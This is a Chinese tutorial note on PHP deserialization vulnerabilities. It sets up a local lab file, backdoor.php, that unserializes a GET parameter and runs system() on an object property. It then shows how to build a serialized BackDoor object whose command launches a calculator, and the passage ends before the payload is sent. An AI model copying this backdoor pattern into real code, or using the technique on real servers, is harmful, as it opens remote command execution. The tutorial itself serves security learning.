关注这个专栏的其他相关笔记:[Web 安全] 反序列化漏洞 - 学习笔记-CSDN博客
PHP 反序列化漏洞产生原因
PHP 反序列化漏洞产生的原因就是因为在反序列化过程中,
unserialize()
接收的值可控。
0x01:环境搭建
这里笔者是使用 PhpStudy 搭建的环境,如果环境没有配置好的可以参考下面这篇文章:
PHP 环境配置:PhpStudy 环境配置
PhpStudy 安装好后开启它的 Apache 服务,并定位到它网站的根目录下:
将下面的代码保存到 backdoor.php 文件中,并放到 PhpStudy 的网站根目录下:
# FileName: backdoor.php
<?php
highlight_file(__FILE__); // 高亮当前文件
// 后门 - 程序员自己留的哈
class BackDoor {
public $command;
public function run() {
system($this -> command); // 执行 command 里的命令
}
}
$command = $_GET['cmd'];
if($command == True) {
$cmd = unserialize($command);
$cmd -> run();
}
然后我们通过浏览器访问上面这个文件,如果访问成功就证明环境搭建好了:
http://127.0.0.1/backdoor.php
0x02:漏洞复现
下面我们就来分析一下下面这个程序的代码(其实明摆着就是一个后门,只不过传参需要用到序列化的知识,后面笔者会以几道 CTF 题目做讲解,类型其实差不多):
<?php
highlight_file(__FILE__); // 高亮当前文件
// 后门 - 程序员自己留的哈
class BackDoor {
public $command;
public function run() {
system($this -> command); // 执行 command 里的命令
}
}
$command = $_GET['cmd']; // 接收一个 GET 型的传参
if($command == True) { // 如果 $command 不为空就执行
$cmd = unserialize($command); // 执行反序列化
$cmd -> run(); // 调用 run() 函数
}
我们可以看到,目标的 BackDoor 类中有一个 run()
函数,是用来执行系统命令的,这个命令是通过 BackDoor 中的 $command 属性获取的。
上面这个例子比较简单(而且不太真实),相信不少小伙伴已经想到了利用思路了,我们自己构造一个序列化的对象,给 $command
赋一个恶意命令,然后序列化后传给 cmd
执行即可。
首先,我们从网站上,把这个 BackDoor 类当下来,然后给 $command 赋予一个执行计算器的命令,然后实例化 BackDoor 类,并把这个实例化的值进行序列化:
<?php
// 后门 - 程序员自己留的哈
class BackDoor {
public $command = "calc"; // 这个命令会弹计算器
public function run() {
system($this -> command); // 执行 command 里的命令
}
}
$backdoor = new BackDoor();
echo serialize($backdoor); // O:8:"BackDoor":1:{s:7:"command";s:4:"calc";}
如上,我们成功拿到了可以执行恶意代码的序列化参数,然后把这个参数通过 cmd
传给服务端即可(俺承认这个例子不咋地,不过基本上反序列化就是这么利用的):